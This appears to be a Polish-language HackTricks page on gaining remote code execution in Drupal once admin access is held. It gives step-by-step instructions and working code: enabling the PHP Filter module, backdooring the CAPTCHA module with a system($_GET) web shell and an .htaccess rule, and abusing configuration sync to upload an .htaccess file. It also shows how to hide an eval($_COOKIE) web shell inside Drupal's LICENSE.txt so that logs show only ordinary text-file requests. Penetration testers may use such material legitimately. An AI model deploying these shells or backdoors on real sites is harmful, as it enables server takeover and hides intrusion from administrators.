Drupal RCE

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Z modułem Filtra PHP

W starszych wersjach Drupal (przed wersją 8), było możliwe zalogowanie się jako administrator i włączenie modułu PHP filter, który "Umożliwia ocenianie osadzonego kodu PHP/skryptów." Ale od wersji 8 ten moduł nie jest zainstalowany domyślnie.

Potrzebujesz, aby wtyczka php była zainstalowana (sprawdź to przechodząc do /modules/php i jeśli zwraca 403, to istnieje, jeśli nie znaleziono, to wtyczka php nie jest zainstalowana)

Przejdź do Modules -> (Sprawdź) PHP Filter -> Zapisz konfigurację

Następnie kliknij Dodaj zawartość -> Wybierz Podstawowa strona lub Artykuł -> Napisz kod php shell na stronie -> Wybierz Kod PHP w Formacie tekstu -> Wybierz Podgląd

W końcu po prostu przejdź do nowo utworzonego węzła:

curl http://drupal-site.local/node/3

Zainstaluj moduł Filtra PHP

W bieżących wersjach nie jest już możliwe instalowanie wtyczek, mając dostęp tylko do sieci po domyślnej instalacji.

Od wersji 8 i nowszych, moduł Filtra PHP nie jest instalowany domyślnie. Aby skorzystać z tej funkcjonalności, musimy zainstalować moduł samodzielnie.

  1. Pobierz najnowszą wersję modułu ze strony internetowej Drupal.

  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  3. Po pobraniu przejdź do Administracja > Raporty > Dostępne aktualizacje.

  4. Kliknij Przeglądaj, wybierz plik z katalogu, do którego go pobraliśmy, a następnie kliknij Zainstaluj.

  5. Po zainstalowaniu modułu możemy kliknąć Zawartość i utworzyć nową podstawową stronę, podobnie jak w przykładzie dla Drupal 7. Ponownie upewnij się, że wybrano Kod PHP z rozwijanego menu Format tekstu.

Moduł z tylnymi drzwiami

W bieżących wersjach nie jest już możliwe instalowanie wtyczek, mając dostęp tylko do sieci po domyślnej instalacji.

Moduł z tylnymi drzwiami można utworzyć, dodając powłokę do istniejącego modułu. Moduły można znaleźć na stronie drupal.org. Wybierzmy moduł, taki jak CAPTCHA. Przewiń w dół i skopiuj link do archiwum tar.gz.

  • Pobierz archiwum i rozpakuj jego zawartość.

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Utwórz PHP web shell o następującej zawartości:

<?php
system($_GET["cmd"]);
?>
  • Następnie musimy utworzyć plik .htaccess, aby uzyskać dostęp do folderu. Jest to konieczne, ponieważ Drupal odmawia bezpośredniego dostępu do folderu /modules.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • Konfiguracja powyżej będzie stosować zasady dla folderu /, gdy żądamy pliku w /modules. Skopiuj oba te pliki do folderu captcha i utwórz archiwum.

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Zakładając, że mamy dostęp administracyjny do strony internetowej, klikamy na Zarządzaj, a następnie na Rozszerzenia w pasku bocznym. Następnie klikamy przycisk + Zainstaluj nowy moduł, i zostaniemy przeniesieni do strony instalacji, na przykład http://drupal-site.local/admin/modules/install. Przeglądamy archiwum z tylnymi drzwiami Captcha i klikamy Zainstaluj.

  • Po udanej instalacji, przechodzimy do /modules/captcha/shell.php, aby wykonywać polecenia.

Podstawienie Drupal za pomocą synchronizacji konfiguracji

Post udostępniony przez Coiffeur0x90

Część 1 (aktywacja Media i Biblioteki mediów)

W menu Rozszerzenia (/admin/modules) można aktywować wtyczki, które wydają się być już zainstalowane. Domyślnie wtyczki Media i Biblioteka mediów nie wydają się być aktywowane, więc aktywujemy je.

Przed aktywacją:

Po aktywacji:

Część 2 (wykorzystanie funkcji Synchronizacja konfiguracji)

Wykorzystamy funkcję Synchronizacja konfiguracji do zrzucania (eksportu) i przesyłania (importu) wpisów konfiguracyjnych Drupala:

  • /admin/config/development/configuration/single/export

  • /admin/config/development/configuration/single/import

Zmiana system.file.yml

Zacznijmy od zmiany pierwszego wpisu allow_insecure_uploads z:

Plik: system.file.yml


...

allow_insecure_uploads: false

...

Do:

Plik: system.file.yml


...

allow_insecure_uploads: true

...

Załataj pole field.field.media.document.field_media_document.yml

Następnie, załataj drugi wpis file_extensions z:

Plik: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Do:

Plik: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Nie używam tego w tym wpisie na blogu, ale zauważono, że można zdefiniować wpis file_directory w dowolny sposób i że jest podatny na atak ścieżki (więc możemy wrócić w górę drzewa systemu plików Drupal).

Część 3 (wykorzystanie funkcji Dodaj dokument)

Ostatni krok jest najprostszy i składa się z dwóch podkroków. Pierwszy polega na przesłaniu pliku w formacie .htaccess, aby wykorzystać dyrektywy Apache i umożliwić interpretację plików .txt przez silnik PHP. Drugi polega na przesłaniu pliku .txt zawierającego nasz ładunek.

Plik: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

Dlaczego ten trik jest fajny?

Ponieważ po upuszczeniu Webshell (który nazwiemy LICENSE.txt) na serwer WWW, możemy przesyłać nasze polecenia za pomocą $_COOKIE, a w dziennikach serwera WWW będzie to wyglądać jak prawidłowe żądanie GET do pliku tekstowego.

Dlaczego nazwać nasz Webshell LICENSE.txt?

Po prostu dlatego, że jeśli weźmiemy następujący plik, na przykład core/LICENSE.txt (który jest już obecny w jądrze Drupal), mamy plik składający się z 339 linii i o wielkości 17,6 KB, co jest idealne do dodania małego fragmentu kodu PHP pośrodku (ponieważ plik jest wystarczająco duży).

Plik: Zaktualizowany LICENSE.txt


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Część 3.1 (przesłanie pliku .htaccess)

Najpierw wykorzystujemy funkcję Dodaj dokument (/media/add/document), aby przesłać nasz plik zawierający dyrektywy Apache (.htaccess).

Część 3.2 (przesłanie pliku LICENSE.txt)

Następnie ponownie wykorzystujemy funkcję Dodaj dokument (/media/add/document), aby przesłać Webshell ukryty w pliku licencyjnym.

Część 4 (interakcja z Webshell)

Ostatnia część polega na interakcji z Webshell.

Jak pokazano na poniższym zrzucie ekranu, jeśli oczekiwane ciasteczko przez nasz Webshell nie jest zdefiniowane, otrzymujemy następujący wynik podczas konsultowania pliku za pomocą przeglądarki internetowej.

Kiedy atakujący ustawia ciasteczko, może on interagować z Webshell i wykonywać dowolne polecenia, których chce.

I jak widać w logach, wygląda na to, że został poproszony tylko plik txt.

Dziękuję za poświęcenie czasu na przeczytanie tego artykułu, mam nadzieję, że pomoże Ci zdobyć kilka shelli.

Last updated